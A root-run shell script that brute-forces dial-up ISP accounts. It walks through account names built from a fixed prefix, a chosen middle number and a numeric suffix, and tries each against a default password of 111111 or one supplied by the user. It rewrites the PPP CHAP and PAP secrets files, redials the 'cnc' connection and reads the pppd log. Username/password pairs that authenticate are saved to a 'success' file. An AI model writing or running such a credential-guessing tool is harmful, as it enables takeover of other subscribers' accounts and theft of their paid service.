#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.
#update bye cocobear at 07.05.11
if (($#  <1)) ; then
        echo "Wrong usage!"
        echo "$0 Number [pass]"
        exit 1
fi
if (($UID != 0)); then
        echo "Must be root to run the script!"
        exit 1
fi
header=111000
tailer=29
median=$1
pass1=111111
pass2=$2
zero=0
UP="/sbin/ifup"
DOWN="/sbin/ifdown"
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME="cnc"
CHAP="/etc/ppp/chap-secrets"
PAP="/etc/ppp/pap-secrets"
IFCFG="/etc/sysconfig/network-scripts/ifcfg-cnc"
LOG="/var/log/ppplog.conf"
syslog="/etc/syslog.conf"
grep 'daemon' $syslog
daemon=$?
if (($daemon == 1)); then
        echo -e "daemon.*\t\t\t\t\t\t$LOG" >> $syslog
fi
while (($tailer <= 99)); do
        stailer=$tailer
        if (($tailer <= 9)); then
                stailer="$zero$tailer"
        fi
        user="$header$median$stailer"
        if [ -z $2 ]; then
                pass=$pass1
        else
                pass=$pass2
        fi
        REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
        sed '$d' $IFCFG > $IFCFG.tmp
        echo "USER=$user" >> $IFCFG.tmp
        mv $IFCFG.tmp $IFCFG
        echo -n '' > $CHAP
        echo -e $REPLACE > $CHAP
        echo -n '' > $PAP
        echo -e $REPLACE > $PAP
        echo -n '' > $LOG
        $DOWN $PPPNAME
        $UP $PPPNAME >/dev/null 2>&1
        sleep 5
        grep 'CHAP authentication failed' $LOG
        state=$?
        grep 'CHAP authentication succeeded' $LOG
        ret=$?
        grep 'Network is down' $LOG
        down=$?
        if (($state == 0)); then
                echo "$user+$pass failed!"
        else
                if (($ret == 0)); then
                        $ETHDOWN
                        echo "Success:$user---$pass" >> success
                        sleep 30
                        $ETHUP
                        let "tailer+=1"
                fi
                if (($down == 0)); then
                        echo "Network is down,now bring up it!"
                        $ETHUP
                else
                pppnum=$(ps -e | grep pppd | wc -l)
                while (($pppnum >= 2));do
                        $DOWN $PPPNAME
                        $ETHDOWN
                        echo -e "Too many process!\nWaiting pppd down...\n"
                        sleep 5
                        pppnum=$(ps -e | grep pppd | wc -l)
                done
                let "tailer-=1"

                fi
        fi
        let "tailer+=1"
done
exit 0